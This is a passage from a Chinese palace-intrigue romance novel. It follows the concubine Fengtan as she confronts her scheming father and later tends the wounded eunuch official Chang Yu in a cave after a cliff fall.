逢潭的住处，不出意外又是最偏远的一间屋子。
“……”
她替自己好一阵唏嘘悲凉。
平日里劳心斗智也就算了，没想到跟着帝王出了宫依旧还要劳身……
她甚感无奈地哀叹口气，身旁的影莲有意提醒地叫了她一声。
逢潭不明所以地循着影莲示意的方向看去。
只见远处逢光绯色官袍着身，神资端肃地遥遥注视着她：“……”
影莲自然清楚面前场景之意，先逢潭一步去往住处整理。
逢潭不紧不慢地走过去，规分地朝面前之人道了一声：“父亲。”
话音落地好半晌，逢光才温言冷语地开口：“进宫的这两年，日子不好过吧？”
逢潭平淡回以：“好与不好都已成过往。”
逢光道：“天子脚下，仰人鼻息的滋味，你也算自尝一遍。”
“后宫都如此这般，前朝更亦是。”
逢潭沉声道：“父亲为家操劳之苦，女儿明白。”
“你能明白自是最好。”逢光威言道：“为父的对你仍旧只有一句话。”
“即使来日你脚下的路走得再远，都切勿忘了身后的逢家！”
“当初若不是我安排你进宫，你又如何能享受当今的富贵容华？你生母夏氏常在睡梦中唤着你，也希望你不要辜负了她对你的满心挂念。”
“……”
闻及此，逢潭阖了阖眼，倏而冷了脸色。
真是恬不知耻。
好一句“当初若不是我安排你进宫，你又如何能享受当今的富贵荣华”！
若非朝堂情形相迫，为了稳固他那好不容易爬上来的，所谓的在朝地位，又怎会把主意打到流落在外数十年，不闻不问的女儿身上？
阿悦独身涉世，几经最需要照拂的时候，从未见有什么亲人慈父的寻上门，孤苦伶仃那么多年，好不容易得以安定，却又突遭横祸。
自己更是被莫名急匆的当做阿悦寻回，转瞬迫不及待地被送进宫。
逢潭进宫两年，病重两年，期间每封送到手的家书，除了慰问何时病愈，是否承宠，更是毫无一句言语是对“女儿”的关心。
如今她靠自己站起脚来，逢光倒是很会往自己身上居功，好似这个“女儿”能有今日，全是他的功劳一般。
阿悦屡次将逢潭从生死徘徊之际拉回，如若不是为了她，任他们整个逢家是死是活，何时溺死尔虞我诈，又会有谁在意？
逢潭虽感恩阿悦对自己的相救之情，但那也只是独对阿悦。
当时，她的确是有想替阿悦尽父母孝道之意，才决意进的宫没错，可这并不代表她就要因此一直接受被逢家捆绑，用孝字道德绑架。
逢潭道：“帝王的恩宠不过犹如瞬息的昙花一现，陛下即能冷落我数年，将来又会宠爱我几时？”
“女儿也想劝诫父亲一句，与其将自己的青云之路全然寄托在别人手里，不如自己也先稳住脚下的根基。即使荣华不显，却也不至于成日活在提心吊胆里，唯恐丢了全家性命。”
逢光对她仿若置身事外的冷漠感到诧异，紧绷的面容僵硬愤然：“混帐！你这说的是什么话？是你应对自己父亲该有的态度吗？！”
中年男人的声音不算轻也不算重，可因着逢潭住得偏的缘故，这条小路四周异常安静。
细碎的风声摩擦周围的树木，几声鸟儿震翅穿过枝叶飞上头顶晴空。
气氛片刻的凝重后，逢潭神情一转，毫不留情地戳破两人之间虚无的亲情薄纱：“父亲。”
“这没旁人，你我又何需这般假意情深呢？”
“……”
她这话一出，逢光登时哑口无言。
又是好长一段的沉默。
良久，逢光悲怆道：“.....你可是，还在因当年之事怪罪于为父？”
逢潭：“当年之事，父亲即不愿提起，我更是不愿回首。”
她淡漠道：“眼下，我有且只有一句话，想要问父亲。”
逢光：“....你说。”
逢潭直言问道：“你是从何时起，知道自己还有个遗落在外的女儿的？”
逢光闻言，身形肉眼可见地颤抖一下，眼中的神情更是不自然地四处虚晃。
逢潭见此反应，也已了然于心。
若非实为心虚，又有什么是能叫他愧不堪言的？
逢潭冷眉
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冷眼地瞥过头，不愿与他再多说，提了步子预备离开。
逢光道：“.....当年，府中上下皆是听信了为夏氏接生的那个婆子口中的歹言。”
“都以为你从诞下那刻起就……”
“我也是后来才知道你的存在的。”
“为父的以为，这么多年过去，你若平安长大，我也不便去打扰你的生活。若你不幸……也就无需再去在意了。”
逢潭转而冷然笑道：“所以你一直不来找自己的这个女儿，全然是为了她好？”
“那么，如你方才所言。即说是为了她好，后来父亲又为何驳了先前的心思，欲意将这个女儿寻回？”
“......”
逢光这下彻底不再说话。
逢潭的每一句话，都准确无误地直戳他有意维持的慈父表面。
“我会尽我所能替你们逢家谋条长稳的道路，”逢潭临走，最后撂下一句：“前提是你也能为逢家的未来，老老实实地恪守你身为臣子应尽的本分。”
*
待逢潭走远一段距离后，忽而在原地止住脚步。
身后也与此同时传来男人懒散的笑声。
逢潭眼中蕴含的冷意不减，她似笑非笑地等着常聿走到自己身侧：“偷听别人讲话，实非君子所为。”
常聿无辜道：“贵人怎么平白冤枉好人？”
“微臣不过恰巧路过此处，不料偶然听闻贵人与父亲这般毫不避人的站在明道上说话。”
他佯作为难的模样：“微臣就是想不听见都难。”
“路过？”
逢潭沉着脸，下巴朝别处一扬，道：“陛下和慎贵妃的住处都在另一头的厢房。”
她这与世隔绝，何谈路过？
常聿浅浅一笑，索性承认道：“贵人聪慧。”
原是想着怕她过得太悠闲，打算带她找点事做。
不曾想她自己亦是忙得很。
逢潭气哼一声，正巧了他过来，于是顺道言出自己的另一份抱怨与不满：“可是你安排的住处？”
常聿自是察觉到了逢潭隐忍的火气，不以为意调笑道：“贵人不满意？”
逢潭尚未从对逢光的情绪中缓过，说话落字发颤，听起来竟莫名有些的委屈：“常大人，我是一个才将卧榻而起，大病初愈的孱弱人士。”
“你知道我这一路走过来有多累吗？”
常聿挑了挑眉，道：“有多累？”
逢潭凝着脸，不想搭理人：“常聿，我现在很不爽。”
“我很生气。”
“你别惹我。”
她朝旁边挪了两下，从常聿身边越过。
“生气归生气，怎的还迁怒旁人？微臣好无辜。”
“本还原想着带你去凑个热闹。”他语调极为慵懒，饱有一种真心被践踏的幽怨：“谁知竟被你骂的灰头土脸的。”
常聿喟然长叹：“真是叫人伤心。”
“热闹？”逢潭不禁狐疑。
静安寺是皇家寺院，平日里连个闲杂人等都没有，能掀起什么热闹？
她回头，一动不动地与常聿相觑，饶有一副等着他过来，自己不动分毫的架势。
常聿手掌假意轻拂面上，低头掩饰住嘴角的笑。
21. 作者天塌了（慎点）
慎观，
作者有话说！
“说！你把那个小贱人藏哪了？！”
姜润玉手提长剑果断地朝谢闻识劈去。
谢闻识见状非但没有闪躲，反而还欲上前几步道：“有本事你就动手！”
“你！”抵在他脖间的剑身浑然颤动，姜润玉咬牙切齿道：“谢闻识，你有没有点心？”
“……”
眼前的杂草凌乱横生碍人视线，逢潭被迫斜压了些身子，不料受力的小腿突觉一阵酸软。
“——！”
就在逢潭险些栽进面前混杂的灌木丛时，背后突如其来的力道把逢潭往后带了个踉跄，直直跌进男人的怀里。
好在这里与谢闻识他们之间隔了有段距离，一时并没有人注意到这点细微声响。
“……”
怀中软香沁鼻，常聿只觉心口处被撞的酥酥麻麻，两条胳膊更是悬在半空，不知该往哪放。
半窝在常聿怀里的逢潭，半个身子虽然都是斜的，然而视线却是一刻都不曾从榕树下移开的。
“我知你不喜欢我，我又何尝不是呢...？”姜润玉泪眼：“你我这桩婚事为的不过就是两家利益，如今局势已定，明面上我就是你的妻！这是无法改变的事实！”
“任你从前流连烟花之地，再多女人，我都从不过多盘问！我退让至此，只求你婚后守己能全我一个体面，可你是怎么对我的？！”
“谢闻识，你怎么能这么对我？！”
诸话日日过耳，谢闻识早已闻之厌烦，他勃然怒斥：“你且看脚下寸土是谁家天下？本世子再不济，也是谢家的人！”
“凭你姜家又是个什么东西？一介妇人也敢在本世子面前造次？！”
姜润玉怫然，刀锋驶向一侧茂木，削落半截枝干：“闭嘴！”
谢闻识言语威胁道：“你别忘了，陛下他们都还尚未离开。”
“素来与你们姜家不睦的沈家暂且不论。”
“那奸宦可是也还在这里！你猜猜，如若眼下此景被他们任意一人发现，到时晟王府和姜家，哪个先遭殃？””
逢潭的视线逐渐归拢，后知后觉地低头看了眼身下：“……”
奸宦常聿竟是就这么由着被她压了半天。
不过顷刻转眼，榕树下已然再无一人身影。
逢潭赧然起身，满脸怀愧道：“多谢大人。”
常聿神情微敛，寒声道：“拉我。”
“……”
常聿眼底忽明忽暗，定格在她脸上：“你可知为何会是沈家二子随从护驾？”
逢潭拧眉。
“自上次城中一案后，谢闻识便一直都在于此。”
继而他又补充道：“同姜润玉。”
*
“元澊哥哥！”
忽然，一道清脆空明的声音蓦然从周围响起。
来人是一年岁约摸十七八岁的少女，她拎着裙身盈盈小跑，着身的藕粉轻纱羽衣和风摆动，灵动又娇俏。
参天的常青高榕树下，沈元澊英姿矫健挺拔，硬朗的五官，锋眉直飞入鬓，原本肃穆的神情不过瞬息之间，由然一转柔情：“你来了。”
常聿睨见逢潭面上的好奇，眼尾一撩，语气含疑道：“你不知道她？”
逢潭顿了顿，视线停留在女子身上，半天没有移动。
她认真观量许久，终究还是对其毫无印象。
“她是谁？”
常聿眼底划过轻微的诧色，而后道：“逢宁。”
....逢宁？
逢潭清眸闪了闪。
是汪氏的那个女儿？
她背对着常聿，先一步抬手，指尖精而准，距离把握得当地虚虚抵到他轻启的薄唇前。
逢潭的指节纤细，薄而软的轻纱随着她的动作兜在手肘，露出一节柔腻白皙的手腕。
常聿垂眼，目光晦涩地落在近在咫尺如玉羊脂，呼吸浅浅打在她的手背：“……”
逢宁垮着张小脸，情绪不高地踢了踢脚边的石子。
“怎么了？”沈元澊俯下身，双手撑在膝弯：“是谁惹我们宁宁不高兴了？”
逢宁小声嘀咕道：“还不是我爹！”
沈元澊：“逢大人？”
逢宁撇嘴：“先前在家中明明说好的，今日带着我一道过来，结果他一早便丢下我走了！”
沈元澊含笑道：“那宁宁现在可是自己偷偷溜出来的？”
少女仰头看他一眼，复而又低下，娇俏地点了点头。
沈元澊眼中情
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绪幽暗，他道：“先前我曾听闻逢大人有意将你送进宫？”
逢宁心中咯噔一跳。
到底还是瞒不住他。
她连忙摆手辩白道：“爹爹当初不过就是嘴上说说，他舍不得我的！”
“何况……”逢宁嗫嚅道：“爹爹本来就知道我心中对你的情意。”
沈元澊皱眉：“可是，逢大人确有此念头不是吗？”
“....除非彻底打消他这个念头，否则难保以后他不会……”
逢宁窥破他所想，嫣嫣笑道：“元澊哥哥放心，逢家现在又不止我一个女儿。”
沈元澊闻言不解道：“宁宁这话是什么意思？”
逢宁问：“不久前，你进过宫了？”
沈元澊道了声是。
逢宁道：“宴席上，你可有见到陛下新纳的宫嫔？”
沈元澊在脑中回忆一番，道：“是有几个新貌。”
“莫不是....其中有逢大人安排的人？”
逢宁嘴角牵起一抹笑：“她们其中有一个毓昭仪。”
“是...是....”
沈元澊见她欲言又止，忍不住追问道：“是什么？”
逢宁难以启齿道：“是我......姐姐。”
“姐姐？”沈元澊眼底神色不由深了几许：“你我自幼相识，我竟从未听闻你还有个姐姐？”
“我都不知道自己居然还有个姐姐。”逢宁不经心地嘟着小嘴道：“这个说来话长……”
“谁知道是从哪找来的野孩子。反正，现在有她在宫里，我爹是断然不会再把我送进去了。”
“……”
随即，常聿就听逢潭几乎是踩着逢宁说得尾音沉声冷呵。
还真是舐犊情深。
*
和婉的日昏，细雨飘飞。
接连忙碌了两日的祭天拜神，眼下终于得了些许间隙的空余。
逢潭走的不快，避免脚底的泥污脏了裙摆。
此时忽有一人出现在她的面前。
逢潭：“……？”
手中油伞微抬，堪堪露出挡住那人面庞。
她微不可察地轻轻皱眉：“....沈大公子？”
沈元澊眸色一沉：“贵人万安。”
22. 清白
*
弯月悬空，深夜的凛风吹散半掩欲遮的云雾。
逢潭眼皮微掀，旁边的火堆烘旺虚晃，刺的她眼睛灼然一烫，泛起蒙蒙水意。
随后，她借着火光环顾一周。
....是个山洞。
逢潭施然无声地轻嘲一笑。
两次被逼掉崖，竟都相继平安无事。
......倒是无法给予评断这运气的好坏。
她眼帘轻阖，平复顷刻间由心涌上眼眶的些许酸涩，复又定睛一看。
几步距离外，男人背靠洞口的石壁，盈盈寒月临摹他的背影，宁静又清冷。明明仅是一个随意之举，却在他的身上慵雅尽显。
“……”逢潭坐起身，原盖在肩头的衣衫随之滑落。
才下过雨，经过洞口的细风算不上温暖，依稀还夹藏着泥土混合草木的味道。
她抿了抿干涩的唇，见男人神绪不在，哑着嗓子开口：“....常聿。”
常聿应声眸子微动，过了好一会儿才慢慢转过头。眼尾一扫，会意她的意思，漠然地看着她。
见此景，逢潭也没再过多忸怩，尽数将常聿的衣衫拢到身上，就着他身后一处坐下。
好香。
难怪她在昏睡中，总是能隐隐闻到周围萦绕着一股熟悉的气息。
原来是常聿身上的味道。
逢潭道：“....你坐很久了吗？”
现下虽已到四月，可阴晴不定的天儿，经傍晚的一场雨后，还是能明显感觉到昼夜的温差。
白日里，他们穿的本就单薄，此刻凛风吹在脖颈，更是叫人不由寒缩。
常聿眼睫轻颤，半阖着眸子，借一圈朦胧月色，与她投来的目光平静交缠在一起。
逢潭怔愣一瞬，随之眉心猝然压下，察觉到他的异样：“你怎么了？”
常聿没有说话。
逢潭紧挨洞壁，虚眺一眼幽深的黑谷：“......”
随着两人之间的距离逐渐拉近，迎面的血腥气浓郁充斥鼻间。
她闭了闭眼，理智压下恐惧。视线落到常聿暴露在外的腕臂，心头蓦地重重一颤。入目即是手背上的道道触目惊心的干涸血痕。
逢潭凝眉询问：“你受伤了？”
常聿微微敛下眼，平日里的锋芒隐去不见，垂丧着脑袋活像是只掉进猎人手里，受伤脆弱的小野兽。
沉默了好一会儿，逢潭心中五味杂陈，冷不丁开口：“....过来。”
“……”
常聿倒是难得听话，似是发觉逢潭畏高，止步不敢再上前，自己虚弱地扶着一侧石壁，支撑身子受力，缓慢地挪动了两下。
须臾片刻，只见他前脚刚进洞没走几步，后脚整个人就恹恹地栽到逢潭身上。
两人的体型差异，并不足以逢潭稳稳的将他接住。故而逢潭被撞的往后一个踉跄，险些带着他仰倒地上。
见此景，她略显不悦道：“不舒服还不叫人？”
常聿半个身子深埋，像是真的不适极了。
逢潭旋即无奈地叹了口气，也没再继续去狠戳他的那点男儿心。
她连抱带拖的费了好大力气，好不容易地将他扶到火堆旁。
松力的垂手间，指尖触及一片湿凉，这才迟钝地发现常聿左半身衣衫，几乎已经被血液浸染湿透。逢潭原本微蹙的眉宇更紧了几分：“……”
她了然抬手，欲去解他衣襟。谁知手指才将附到他胸前，不待摸索两下就被人反手擒住。
常聿握住在自己身上作乱的手，一脸警觉道：“贵人怎的这般不老实？”
逢潭冷哼一声，带着些许嘲讽。手下动作仍未止。
常聿拧眉，势有一番女子捍守贞烈的摸样：“微臣可是清白之躯，恕不能从。”
逢潭垂眼盯他，好一阵无语。
这厮的心里戏倒是还挺丰富？
看来是已经过了方才神绪昏晕的那阵儿了。
瞧着她目色忽明忽暗半天不言，常聿的眉峰不自觉微微凝起，心中那频频溢出的丝丝缕缕情愫，愈发难言。
她不说话，是在想什么？
忽然，逢潭冷眼俯身朝他缓缓压近：“......”
常聿呼吸陡然一滞，直勾勾地凝盯着她。
逢潭不动声色地悄然腾出另一只没被牵制的手，虎口直接扼住他的下颌，微微收力：“.....你再乱说话，就别怪我趁人之危了。”
常聿轻阖双目，掩住眼底不受控的情绪外露：“你现在不就是？”
他嘴角噙着笑，言语轻挑道：“趁我病，轻薄我。”
“方才，”逢潭明眸稍弯，眼神平静且认真道：“我就该直接把你推下去。”
*
男人的手臂皮肉外翻，经坐在风口一吹，眼下与衣衫腻缠融合，仅微微一动便有大量的鲜血，止不住地汩汩往外冒。
常聿终是难忍地低低闷哼一声。
逢潭手下一顿，漫不经心掀眼。哪怕周身昏暗，那双浅色的明眸依然清亮：“现在才知道疼？”
再晚一点，血都快放干了。
她面上疾言厉色，可手下的力道终究也是放轻了许多。
之后仍是逢潭不过稍微一动，就试着抓在自己手腕的力道随之微微收紧。
逢潭阴恻恻道：“常大人真是人比花娇。”
“......”
接着，随她一记银针扎下，甚至还不待常聿下一句话开口，半身就先失了知觉。
原还紧抓逢潭的手，骤然没了力气，直直垂落到地上。效果立竿见影，堪比局部麻醉。
“聒噪。”
常聿目光紧锁，衣衫在逢潭手里，被她渐渐剥落。
胸前失了避身的屏障，里面大片光景外泄，常聿喉间干涩，呼吸也变得沉重。
火光下，男人腰身紧健，恰到好处的薄肌不显臃肿，力量可见。
逢潭顿愕片刻，眨了眨眼，莫名忍不住笑。
第一次扒人衣服，竟颇有一种拆盲盒拆到隐藏款的怪异成就感？
不过....
这做太监的，难道平日里还要有身材管理吗？
逢潭目光赤裸灼烫，常聿眸色倏而跟着变得幽深，咬牙道：“天底下哪有这样的事。”
他素来擅伪，再大的动荡，轻易也难撼动面上惯持的恬然自若。
可而今，倘若周围的光线再亮一点，他此刻这般强作镇静的种种模样，势必会被腾红的耳
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尖出卖的一点不剩。
逢潭的视线步步下移。
因着已经给常聿施了针的缘故，心中顾虑少了许多。
略微轻扯将缠绵的皮肉与衣衫分离，那狰狞的骇人刀口曝之眼前，居然足足有她半个腕臂长短！
逢潭凝脸，不禁倒吸一口凉气，忍不住赞叹常聿的定力。
.....死人也就罢了。
这么深长可怖的伤势，在一个活人身上竟还能如眼下这般冷静自持，面不改色。
逢潭看着他，觉得眼前不太真实：“真的不疼吗？”
常聿不羁笑道：“疼，疼死了。”
“没个正行。”逢潭没好气地瞥他一眼。
随即，直起腰，手掌探入自己衣内。
常聿脑袋昏沉一阵，霎时黑了脸：“你干什么？”
逢潭眸底漾起一抹水色，眼神黏腻，口吻暧昧，引人遐想：“.....你猜猜？”
唬人的话谁不会说？
“......”常聿神色有些不自然地别过头。
逢潭不甚在意地从他身上起来，方才的柔意缱绻似幻梦般眨眼即逝。
她出言讥讽道：“我就算再怎么饥不择食，还能贪图你一个太监不成？”
“成日里冷着个脸，凶神恶煞的也就罢了，偏生还花枝招展的打扮跟只花孔雀似的。”
“丑的人眼睛疼。”
呛人的话谁不会说？
常聿眸色黯淡一息：“……”
言语嘲讽完了，那之后呢？
她会转而将他弃之一边，放任他自生自灭吗？
常聿紧盯着逢潭，试图从她眼中寻到一丝答案。
为何就连观她的神情都是这般捉摸不透？
最后他一动不动地目睹着她脸上归于平静、定格：“....算你命大。”
当下的条件受限，逢潭只得用仅有的衣袖草草给他伤口稍作清理。
细长的银针引了线在火中滚过，眼前银光微闪。她手法娴熟地挑着银针，游刃钻进常聿的皮肉，恶狠狠道：“早知道就不给你封穴位了，活该让你受着。”
“……”
*
待撕裂的伤口缝好后，逢潭又从先前自怀里拿出药囊中，捻出几指不知作何名的草药，一齐塞进常聿嘴里：“嚼两下，尝到味道就够了。”
常聿抿唇，舌尖舔了舔刚才她触碰到地方：“……”
见他闭嘴微动几下，就没了后续，逢潭拧眉：“别咽啊。”
闻言，常聿两颊的唇齿又动了动。
逢潭伸手去接：“吐出来。”
常聿：“……”
外面夜色尚浓，离天明约摸着还要好久。
两人现下的处境又是进退两难，不知何时才能得救。怕他将这仅有的一点药材浪费，逢潭道：“快点。”
常聿艰难地挤出几个字：“你，闭眼。”
逢潭一时觉得好笑。
还挺在意形象？
“……”
逢潭将仅有的止血药尽数敷在他的伤口，随后撕下自己的裙边，简易地给他包扎好。
“你休息一会儿吧，别再乱动了。不然伤口挣开，我可没有多余的药材再给你用了。”
23. 浑噩
雨势渐大，门前经风走过，卷起飘零残败的枯黄枝叶，悠悠打着旋儿。
“滚出去！”随着男人最后的一声怒斥，大门紧闭，由内里传来阴狠无情的咒骂：“和你那丢人现眼的娘滚得越远越好！从今往后，就算是死了，也别再想踏进我侯府半步！”
“爹！”门口跪地敲门的孩童约摸六七岁，他手下拼命地拍敲，于那悍立的恢宏大门而言，也不过如同蚊虫叮咬，软绵无力：“求您不要赶我们走……”
常松萝无力地瘫坐在地上，苍白面颊滴落的分不清是泪还是雨。手中的一纸休书，宛若烧红的铁杵，在身心每一处狠狠烙下印记，痛入血肉，摧烧肺腑。
见敲门无果，孩童又转身跑到女人身边：“娘，为什么？！为什么爹要赶我们走？！”
“是我做错了什么吗？您告诉我，我向爹道歉！我会好好改过的！”
常松萝将孩童抱在怀里。她哭的悲极，疲痛迸发：“砚慈，是娘对不住你……娘对不住你啊！”
萧条寂寥的街里，疾风骤雨催人藏。
京城之大，竟想不出一处可供他们二人容身。
砚慈哆嗦着身子，牙齿止不住打颤，他又望一眼紧逼的朱门，道：“娘，爹不让我们回家，往后我们该去哪儿？”
常松萝眼神空洞地摇了摇头。
还能去哪儿？
她也不知道。
当初，她违抗婚约，甚至不惜忤逆父母，也要义无反顾的追随意中人嫁到京城。
成亲八年，夫妻恩爱，孕育儿女，从未想过有朝一日会落得被夫家扫地出门的下场！
雨水渗进屋顶，顺着不堪的木梁沿落到脊背，一片冰凉，引人战栗。
残破简陋的茅屋，成了眼下他们唯一可呆的避风暖港。
“……”
临近天亮，用来堪堪掩住破口的木板被一阵急促强劲的狂风掀开。本就衣衫着雨水浸透的母子二人顿时寒毛竖立，瑟缩在草屋一脚，勉强撑到雨停。
砚慈冻得嘴唇青紫，浑身不由打着寒颤。
他出生即在侯府，从小就是金尊玉贵的宠着，哪曾受过这种苦楚。
“娘，我好冷。”砚慈眼底灼灼，泪花止不住的往外冒。
常松萝一夜亦未得安枕，脸色也稍显憔悴苍白，她伸手摸了摸孩童的额头，随后手下一僵。
好烫....
她愣愣地看了他好半晌，喉咙仿佛被一只无形的手紧紧扼住，哑然失声，只能化作呜咽凝噎。
常松萝紧紧抱住他，沉默良久，道：“砚慈乖....娘去给你找大夫。”
“……”
逢潭被臂腕传来的惊人温度烫醒。
她尝试着挣脱两下，可无奈那人力道太紧，手臂无论如何也抽不出来。
臂腕传来的灼热触感渗入肤底，逢潭心中咯噔一跳。
最令她担心的事情还是发生了。
成日里忍辱负重，给他当牛做马还不够？！如今竟还要身心皆施，劳其所有！
简直有悖天理！
手下，常聿的呼吸逐渐变得深重，仿若此刻置身烈火中肆虐，焚烧炙烤。
逢潭轻轻将手掌放在他的额间：“....还能上辈子欠你的不成？”
额间袭来的温凉，恰似穷途末路天逢甘霖，无声却有力的沁润平息那咬噬人的火海。
常聿无意识地追随她的手掌更凑了几分。
“……”
孟子曰：天将降大任于斯人也，必先苦其心志，劳其筋骨。
逢潭心中反复咀嚼这句话，试图将其融进身体。
约摸半刻钟过去，她心如死灰地睁开眼，愤愤地蹬了常聿一脚，道：“要不是因为留着你，日后还尚有用处.....不然我才不管你！”
*
“……”
嘴中草叶涩苦，常聿虚虚咳了几声，缓缓睁开眼。
近在咫尺的雪白藕臂被他攥在手中，神绪回转不过须臾几秒，微微松了力道。
继而他对着从手底露出的那道紫红凝血痕迹，不自觉拧眉。
视线沿着雪白往上，逢潭眼睫微颤，似是被他的动作吵醒。
“……”她试探性地动了动臂膀，半条胳膊通电般的麻流感，此起彼伏，叫她好不痛苦。
待缓过这阵麻意，逢潭换了只手，又探了探地上依然昏睡的人的额间。
常聿双眼紧闭，眉头若有似无的蹙起，蜷缩在一旁。呼吸平稳而有力，额头微微出汗，温度已然没有先前那般烫人。
逢潭疲惫地长舒一口气，终于得到解放。
真是累死人了。
夜里，她担心常聿烧的厉害，每隔一段时间便起来看他一眼。
后来又因自己体温较于旁人偏低，那会儿常聿烧的迷糊，整个人几乎是贴在她胳膊上，使得她左右动不得，如此一夜下来，逢潭睡得并不踏实。
眼看外面晨光渐出，她也不打算再睡了。
与其在这里坐以待毙，指望外面那些没个时间准信儿的人来救，倒不如自己主动出击，利用现有可用的资源，为自己开辟一条生路。
谁知她才将慢悠悠站起身，下一刻就自身后传来一道暗哑的沉沉说话声：“去哪儿？”
男人身上原着的衣衫被血浸污，已是不能再穿了，就连那惯戴于顶的帽子，也早不知被遗落到了何处。
此刻他额前的碎发毛茸茸垂落，寂沉的眼眸氤氲着高热未褪的雾气，将他身上以往的阴戾和沉郁隐去。一眼扫过，身影单薄孱弱，苍凉易碎的让人心疼。
“....去死。”逢潭面不改色地轻瞥他一眼，淡淡回以：“我马上就跳下去。”
常聿顿了顿，没有说话。
逢潭曾说自己很惜命。
但....就他平生所遇那些万般惜命之人，无一例外，唯看重己生；甚至更有甚者，舍他保己。
但究其最怕的都莫过于一个死字。
他同逢潭的第一次见面交涉，便是在自己为她打造的死局中。
那时她跪地哀求。
他说，她的生死与那池中的鱼儿并无两样，渺如蜉蝣。
人人喊打喊杀，恶名昭著的奸佞，欲要置人于死地，谁敢在他手中赌''死''以外的结果？
可逢潭偏就是初顺后逆，微力逆施，将几乎不可逆的局面回天倒日。
当意料之中的意外落到现实，那么它将会延成意料之中的惊喜，意料之外的不明。
这也正是逢潭当时的心境。
所以在她醒来后，才会不禁问出那句，“为什么不直接杀了太子”。
逢潭之所以能够从中大获全胜，凭借的不单单只是自身智谋深远，灵动开阔。
更是因为，她同时拥有一颗勇毅强大，不畏惧死亡的心。
“……”
常聿的直觉告诉自己，逢潭口中所谓的惜命，并不是爱己珍命。
而是.....
有什么东西在背后架着她，让她努力活着、活下去。
常聿眸中情绪晦暗，思绪混杂。
沉默良久，他瞧着逢潭贴壁的举动，了然道：“下面没路。”
逢潭回看他一眼，没说什么，也没再继续往外走。
只是继而回去坐下，在心里默默估算起来。
自己一夜未归，情急之下，影莲会不会已将此事告知帝王与皇后？
“……”其实，逢潭自觉帝王对自己也就那样，算不上多么宠爱。
随着近来传召的次数便可见得，他的新鲜劲差不多已经快过了。如照现状，自己是生是死于他而言，估计也没太大所谓。
她还是只能靠自己。
但.....
逢潭又看一眼常聿。
帝王势必会在意这只养在前朝的凶虎。
嘶。
想到这里，她又不禁愁展。
一旦被人发现他们是一齐消失的，那扑面
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而来的话可就多了……
如果两人现在眼一闭，腿一蹬，死了也就罢了。
任他们再怎么说，也都是与他们无关的后话。
怕只怕.....两人活着被救。
那么将要面对的东西，便会棘手的很。
不过话又说回来....
常聿这边才放了血，又浑浑噩噩烧了一夜。
要死，也是他先死在前头。
....算了。
大不了到时候，等他一咽气，自己再跳一次崖好了。
哪怕这摔死了，起码也规避了逢家日后因她被人诟病。
如此一来，也算是尽心尽力还阿悦一条命了。
“……”
常聿发觉逢潭又在目不转睛地紧紧盯着自己，心底尽是说不出的感觉：“....你又在想什么？”
她总是这样，心绪很容易就被莫名的东西勾走了。
逢潭眨了眨眼，一脸认真道：“在想你什么时候死。”
“呵。”常聿几乎是随着她话音一出，登时便凝了脸。
真是多余去问。
明知道她说不出来什么好话。
他温愠气笑道：“真是遗憾，倒是不能遂贵人愿了。”
“微臣命硬的很，百年之前您怕是等不到了。”
常年在刀刃下摸爬滚打，苟延乞生。
身心遍体鳞伤，奄奄一息的时候早就不再少数。
他自诩轻易死不了。
这世上也最不缺想让他死的人。
可如今经逢潭口中一说，他心中竟没来由得憋闷难受。
为什么？
为什么都盼望着他死？
明明先前还说自己是她的依靠....为什么，为什么现在连她也巴不得他赶紧死？
常聿脸色沉如死海，由内而外散发出寒意，宛如万年寒冰利刃在她身上凌迟，皮肉一点一点薄薄削下，露出里面的森然白骨，漫长又痛苦。
他扯了披盖在自己身上的衣衫，冷不丁地扔到她头上。
完蛋。
说错话了。
逢潭头顶着自己衣衫，不敢拿下，亦不敢去看常聿阴沉的脸。任由衣衫盖在头上，蒙了眼前视线，心虚地朝边上挪了挪：“……”
妈呀.....
他不会一气之下，直接给她杀了吧？
她后背冷汗直冒，沉默好半晌，才讪讪露出自己的一双清眸，赔笑道：“对不起嘛.....我说错话了。”
逢潭又小心翼翼地挪回原处，踌躇了会儿，微哽道：“你可是我唯一的依靠啊，我哪能离了你？”
小骗子。
常聿讥讽地冷哼一声。
又是这套虚情假意的说词。
同样的话，她恐怕不止说过一遍，更不止对他一个人说过。
常聿甚至都能想到，她依偎在帝王怀里，脸红心跳半含羞地将这句话原封不动说出来的模样。
他早该清楚她的手段。
她向来是口不对心，没有一句实话。
思及此，常聿周身依旧阴郁，气压低得毛骨悚然，更是连一眼都不愿给她。
逢潭额头沁出一层细密的冷汗：“……”
怎么觉得越哄，常聿脸色越差呢.....
逢潭抿了抿唇，道：“你看你胳膊上的……”
常聿声音犹如淬了毒的冰凉渗骨：“实在没话，就把嘴闭上。”
还好还好，还愿意说话。
逢潭微微侧脸，俯身凑到他面前：“你是不知道你上半夜烧的有多厉害，那温度都直烫我手呢！”
“我要是想让你死，我早就不管你了。”
“……”
话落几秒，常聿眼皮微掀，终于大发慈悲地看她了。
逢潭忙笑脸相迎，那勉强牵起的嘴角，极不自然。
常聿斜睨她一眼，冷声道：“丑死了。”
逢潭：“……”
24. 暖甜
见她立马敛了笑，常聿不知作何情绪的，冷不丁地“啧”了一声。
在帝王面前，就是万般的迎面含春，恬笑情兮....
而今对着他，甚至连个好脸都给的那般勉强，装都装的敷衍不走心。
笑得比哭还难看.....
让人见了心烦。
初晓的星夜下，逢潭默不作声的，将常聿脸上接连浮现的几许微妙情绪，尽收眼底。
“......”
对他笑也不是，不笑也不是。
真真是难伺候。
思及此，逢潭索性直接应承着他的话：“大人貌美，倾城一笑，可谓天人之姿，叫人如醉如痴。”
她端正姿态，认真赞誉道：“我等拙姿凡笑，难登大雅，自是不易入大人的眼。”
闻此话落，常聿眼眸中倏而渐现危险的精光：“微臣怎么记得，前不久贵人才说过.....常某不堪入目。”
最后几个字，被他咬字极重，像是猛兽啃食残骨般咬牙切齿：“哪怕多看一眼，都嫌脏了眼睛。”
“......”
老天爷....
她原话是这么说的？？？
常聿眸光迅敏地锁住，逢潭神情中，飞闪而过的这一瞬僵顿。
见状，他眼皮微压，才将缓和的眉眼，旋即继冷了几分。
....就知道她又在骗人。
逢潭在他的目光凌迟下，哭笑不堪地回以：“.....是我眼拙了。”
常聿冷眸凝注着她，随着他单手垫在脑后，漫不经心地靠到背后的石壁上。
逢潭稍作思索，继而捡起先前被掀落四散的衣衫，欲将他腰腹再现的一片春光盖上。
“你不仅眼拙，”常聿掀眼，颇有意味地正眼看她，不咸不淡地开口：“.....挑人的眼光也更是愚蠢。”
背靠坚树才能乘凉遮雨。
可她偏生就选择了金玉其外，败絮其中的那一棵。
如今的帝王，还能撑几时？
又何以能够承托希冀？
